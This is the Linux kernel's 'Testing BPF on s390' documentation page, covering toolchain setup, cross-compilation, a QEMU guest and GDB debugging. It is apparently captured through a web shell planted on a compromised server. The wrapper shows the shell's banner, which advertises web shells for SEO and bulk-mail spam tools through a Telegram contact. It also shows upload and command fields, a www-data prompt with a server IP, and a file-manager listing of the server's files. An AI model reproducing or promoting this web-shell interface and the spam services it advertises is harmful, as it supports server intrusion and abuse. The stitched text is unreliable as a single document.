__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Testing BPF on s390 &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="1 Clang implementation notes" href="clang-notes.html" />
    <link rel="prev" title="BPF drgn tools" href="drgn.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../accounting/index.html">Accounting</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cpu-freq/index.html">CPUFreq - CPU frequency and voltage scaling code in the Linux(TM) kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../edac/index.html">EDAC Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fpga/index.html">FPGA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../i2c/index.html">I2C/SMBus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../iio/index.html">Industrial I/O</a></li>
<li class="toctree-l3"><a class="reference internal" href="../pcmcia/index.html">PCMCIA</a></li>
<li class="toctree-l3"><a class="reference internal" href="../spi/index.html">Serial Peripheral Interface (SPI)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../w1/index.html">1-Wire Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../watchdog/index.html">Watchdog Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../virt/index.html">Virtualization Support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hwmon/index.html">Hardware Monitoring</a></li>
<li class="toctree-l3"><a class="reference internal" href="../accel/index.html">Compute Accelerators</a></li>
<li class="toctree-l3"><a class="reference internal" href="../security/index.html">Security Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../crypto/index.html">Crypto API</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">BPF Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../usb/index.html">USB support</a></li>
<li class="toctree-l3"><a class="reference internal" href="../PCI/index.html">PCI Bus Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../misc-devices/index.html">Assorted Miscellaneous Devices Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../peci/index.html">PECI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../wmi/index.html">WMI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../tee/index.html">TEE Subsystem</a></li>
</ul>
</li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/bpf/s390.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="testing-bpf-on-s390">
<h1>Testing BPF on s390<a class="headerlink" href="#testing-bpf-on-s390" title="Link to this heading">¶</a></h1>
<section id="introduction">
<h2>1. Introduction<a class="headerlink" href="#introduction" title="Link to this heading">¶</a></h2>
<p>IBM Z are mainframe computers, which are descendants of IBM System/360 from
year 1964. They are supported by the Linux kernel under the name “s390”. This
document describes how to test BPF in an s390 QEMU guest.</p>
</section>
<section id="one-time-setup">
<h2>2. One-time setup<a class="headerlink" href="#one-time-setup" title="Link to this heading">¶</a></h2>
<p>The following is required to build and run the test suite:</p>
<blockquote>
<div><ul class="simple">
<li><p>s390 GCC</p></li>
<li><p>s390 development headers and libraries</p></li>
<li><p>Clang with BPF support</p></li>
<li><p>QEMU with s390 support</p></li>
<li><p>Disk image with s390 rootfs</p></li>
</ul>
</div></blockquote>
<p>Debian supports installing compiler and libraries for s390 out of the box.
Users of other distros may use debootstrap in order to set up a Debian chroot:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>sudo debootstrap \
  --variant=minbase \
  --include=sudo \
  testing \
  ./s390-toolchain
sudo mount --rbind /dev ./s390-toolchain/dev
sudo mount --rbind /proc ./s390-toolchain/proc
sudo mount --rbind /sys ./s390-toolchain/sys
sudo chroot ./s390-toolchain
</pre></div>
</div>
<p>Once on Debian, the build prerequisites can be installed as follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>sudo dpkg --add-architecture s390x
sudo apt-get update
sudo apt-get install \
  bc \
  bison \
  cmake \
  debootstrap \
  dwarves \
  flex \
  g++ \
  gcc \
  g++-s390x-linux-gnu \
  gcc-s390x-linux-gnu \
  gdb-multiarch \
  git \
  make \
  python3 \
  qemu-system-misc \
  qemu-utils \
  rsync \
  libcap-dev:s390x \
  libelf-dev:s390x \
  libncurses-dev
</pre></div>
</div>
<p>Latest Clang targeting BPF can be installed as follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>git clone https://github.com/llvm/llvm-project.git
ln -s ../../clang llvm-project/llvm/tools/
mkdir llvm-project-build
cd llvm-project-build
cmake \
  -DLLVM_TARGETS_TO_BUILD=BPF \
  -DCMAKE_BUILD_TYPE=Release \
  -DCMAKE_INSTALL_PREFIX=/opt/clang-bpf \
  ../llvm-project/llvm
make
sudo make install
export PATH=/opt/clang-bpf/bin:$PATH
</pre></div>
</div>
<p>The disk image can be prepared using a loopback mount and debootstrap:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>qemu-img create -f raw ./s390.img 1G
sudo losetup -f ./s390.img
sudo mkfs.ext4 /dev/loopX
mkdir ./s390.rootfs
sudo mount /dev/loopX ./s390.rootfs
sudo debootstrap \
  --foreign \
  --arch=s390x \
  --variant=minbase \
  --include=&quot; \
    iproute2, \
    iputils-ping, \
    isc-dhcp-client, \
    kmod, \
    libcap2, \
    libelf1, \
    netcat, \
    procps&quot; \
  testing \
  ./s390.rootfs
sudo umount ./s390.rootfs
sudo losetup -d /dev/loopX
</pre></div>
</div>
</section>
<section id="compilation">
<h2>3. Compilation<a class="headerlink" href="#compilation" title="Link to this heading">¶</a></h2>
<p>In addition to the usual Kconfig options required to run the BPF test suite, it
is also helpful to select:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>CONFIG_NET_9P=y
CONFIG_9P_FS=y
CONFIG_NET_9P_VIRTIO=y
CONFIG_VIRTIO_PCI=y
</pre></div>
</div>
<p>as that would enable a very easy way to share files with the s390 virtual
machine.</p>
<p>Compiling kernel, modules and testsuite, as well as preparing gdb scripts to
simplify debugging, can be done using the following commands:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>make ARCH=s390 CROSS_COMPILE=s390x-linux-gnu- menuconfig
make ARCH=s390 CROSS_COMPILE=s390x-linux-gnu- bzImage modules scripts_gdb
make ARCH=s390 CROSS_COMPILE=s390x-linux-gnu- \
  -C tools/testing/selftests \
  TARGETS=bpf \
  INSTALL_PATH=$PWD/tools/testing/selftests/kselftest_install \
  install
</pre></div>
</div>
</section>
<section id="running-the-test-suite">
<h2>4. Running the test suite<a class="headerlink" href="#running-the-test-suite" title="Link to this heading">¶</a></h2>
<p>The virtual machine can be started as follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>qemu-system-s390x \
  -cpu max,zpci=on \
  -smp 2 \
  -m 4G \
  -kernel linux/arch/s390/boot/compressed/vmlinux \
  -drive file=./s390.img,if=virtio,format=raw \
  -nographic \
  -append &#39;root=/dev/vda rw console=ttyS1&#39; \
  -virtfs local,path=./linux,security_model=none,mount_tag=linux \
  -object rng-random,filename=/dev/urandom,id=rng0 \
  -device virtio-rng-ccw,rng=rng0 \
  -netdev user,id=net0 \
  -device virtio-net-ccw,netdev=net0
</pre></div>
</div>
<p>When using this on a real IBM Z, <code class="docutils literal notranslate"><span class="pre">-enable-kvm</span></code> may be added for better
performance. When starting the virtual machine for the first time, disk image
setup must be finalized using the following command:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>/debootstrap/debootstrap --second-stage
</pre></div>
</div>
<p>Directory with the code built on the host as well as <code class="docutils literal notranslate"><span class="pre">/proc</span></code> and <code class="docutils literal notranslate"><span class="pre">/sys</span></code>
need to be mounted as follows:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>mkdir -p /linux
mount -t 9p linux /linux
mount -t proc proc /proc
mount -t sysfs sys /sys
</pre></div>
</div>
<p>After that, the test suite can be run using the following commands:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>cd /linux/tools/testing/selftests/kselftest_install
./run_kselftest.sh
</pre></div>
</div>
<p>As usual, tests can be also run individually:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>cd /linux/tools/testing/selftests/bpf
./test_verifier
</pre></div>
</div>
</section>
<section id="debugging">
<h2>5. Debugging<a class="headerlink" href="#debugging" title="Link to this heading">¶</a></h2>
<p>It is possible to debug the s390 kernel using QEMU GDB stub, which is activated
by passing <code class="docutils literal notranslate"><span class="pre">-s</span></code> to QEMU.</p>
<p>It is preferable to turn KASLR off, so that gdb would know where to find the
kernel image in memory, by building the kernel with:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>RANDOMIZE_BASE=n
</pre></div>
</div>
<p>GDB can then be attached using the following command:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>gdb-multiarch -ex &#39;target remote localhost:1234&#39; ./vmlinux
</pre></div>
</div>
</section>
<section id="network">
<h2>6. Network<a class="headerlink" href="#network" title="Link to this heading">¶</a></h2>
<p>In case one needs to use the network in the virtual machine in order to e.g.
install additional packages, it can be configured using:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>dhclient eth0
</pre></div>
</div>
</section>
<section id="links">
<h2>7. Links<a class="headerlink" href="#links" title="Link to this heading">¶</a></h2>
<p>This document is a compilation of techniques, whose more comprehensive
descriptions can be found by following these links:</p>
<ul class="simple">
<li><p><a class="reference external" href="https://wiki.debian.org/EmDebian/CrossDebootstrap">Debootstrap</a></p></li>
<li><p><a class="reference external" href="https://wiki.debian.org/Multiarch/HOWTO">Multiarch</a></p></li>
<li><p><a class="reference external" href="https://llvm.org/docs/CMake.html">Building LLVM</a></p></li>
<li><p><a class="reference external" href="https://wiki.gentoo.org/wiki/Embedded_Handbook/General/Cross-compiling_the_kernel">Cross-compiling the kernel</a></p></li>
<li><p><a class="reference external" href="https://wiki.qemu.org/Documentation/Platforms/S390X">QEMU s390x Guest Support</a></p></li>
<li><p><a class="reference external" href="https://wiki.qemu.org/Documentation/9psetup">Plan 9 folder sharing over Virtio</a></p></li>
<li><p><a class="reference external" href="https://wiki.osdev.org/Kernel_Debugging#Use_GDB_with_QEMU">Using GDB with QEMU</a></p></li>
</ul>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/bpf/s390.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
libbpf Folder 0755
standardization Folder 0755
bpf_design_QA.html File 39.76 KB 0644
bpf_devel_QA.html File 61.1 KB 0644
bpf_iterators.html File 43.95 KB 0644
bpf_licensing.html File 14.62 KB 0644
bpf_prog_run.html File 19 KB 0644
btf.html File 89.32 KB 0644
clang-notes.html File 13.55 KB 0644
classic_vs_extended.html File 26.83 KB 0644
cpumasks.html File 97.17 KB 0644
drgn.html File 20.27 KB 0644
faq.html File 10.01 KB 0644
fs_kfuncs.html File 10.67 KB 0644
graph_ds_impl.html File 30.56 KB 0644
helpers.html File 9.82 KB 0644
index.html File 12.27 KB 0644
kfuncs.html File 67.22 KB 0644
linux-notes.html File 16.73 KB 0644
llvm_reloc.html File 77.97 KB 0644
map_array.html File 37.73 KB 0644
map_bloom_filter.html File 26.42 KB 0644
map_cgroup_storage.html File 18.5 KB 0644
map_cgrp_storage.html File 16.3 KB 0644
map_cpumap.html File 29.43 KB 0644
map_devmap.html File 35.99 KB 0644
map_hash.html File 35.25 KB 0644
map_lpm_trie.html File 28.12 KB 0644
map_of_maps.html File 23.2 KB 0644
map_queue_stack.html File 23.69 KB 0644
map_sk_storage.html File 26.15 KB 0644
map_sockmap.html File 64.85 KB 0644
map_xskmap.html File 26.94 KB 0644
maps.html File 19.06 KB 0644
other.html File 10.06 KB 0644
prog_cgroup_sockopt.html File 27.23 KB 0644
prog_cgroup_sysctl.html File 18.75 KB 0644
prog_flow_dissector.html File 20.62 KB 0644
prog_lsm.html File 22.69 KB 0644
prog_sk_lookup.html File 16.62 KB 0644
programs.html File 10.56 KB 0644
redirect.html File 15.24 KB 0644
ringbuf.html File 24.44 KB 0644
s390.html File 17.98 KB 0644
syscall_api.html File 10.03 KB 0644
test_debug.html File 9.89 KB 0644
verifier.html File 37.16 KB 0644
Filemanager